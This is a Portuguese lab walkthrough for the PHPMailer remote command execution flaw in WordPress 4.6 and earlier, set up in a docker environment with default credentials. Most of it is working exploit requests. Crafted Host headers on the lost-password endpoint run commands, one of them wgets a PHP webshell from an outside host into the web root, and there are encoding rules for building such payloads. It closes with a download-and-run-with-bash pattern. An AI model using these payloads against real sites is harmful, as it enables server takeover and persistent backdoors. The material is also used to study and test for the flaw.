
O WordPress é uma plataforma de blogs desenvolvida em PHP, que permite aos usuários criar seus próprios sites em servidores que suportam PHP e banco de dados MySQL. O WordPress também pode ser usado como um sistema de gerenciamento de conteúdo (CMS). O WordPress usa o componente PHPMailer para enviar e-mails aos usuários. O PHPMailer (versões < 5.2.18) possui uma vulnerabilidade de execução remota de comandos: um atacante só precisa construir engenhosamente um endereço de e-mail malicioso para gravar arquivos arbitrários, causando execução remota de comandos.
WordPress <= 4.6
| Tipo | Usuário | Senha |
|---|---|---|
| Mysql | root | root |
| /wp-admin/ | admin | admin123 |
$ docker pull medicean/vulapps:w_wordpress_6
$ docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6
O 8000 antes de
-p 8000:80representa a porta da máquina física e pode ser definido livremente.
Acesse http://127.0.0.1:8000 e veja a interface principal do WordPress, o que indica que o ambiente foi iniciado com sucesso.
Supondo que o endereço de destino seja: http://127.0.0.1:8000/
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}vuln}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
Se a resposta retornar o código de status 200, o arquivo /var/www/html/vuln foi criado com sucesso.
Você pode acessar esse endereço antes de enviar o pacote; ele retornará 404.
Ideia: crie um arquivo de texto em um servidor HTTP remoto e baixe-o para a máquina de destino usando wget.
Se você já consegue executar comandos, para que enviar um WebShell?
/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php
Observação:
- A URL remota não deve conter
http://- Todas as letras devem estar em minúsculas
- Todas as / devem ser substituídas por
${substr{0}{1}{$spool_directory}}- Todos os espaços devem ser substituídos por
${substr{10}{1}{$tod_log}}
O pacote é o seguinte (substitua o user_login conforme a situação real; o padrão é admin):
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
Se o conteúdo do arquivo de texto remoto for um script bash, depois de baixá-lo para o destino, execute-o diretamente com /bin/bash.
/usr/bin/wget --output-document /tmp/rce example.com/1.txt
/bin/bash /tmp/rce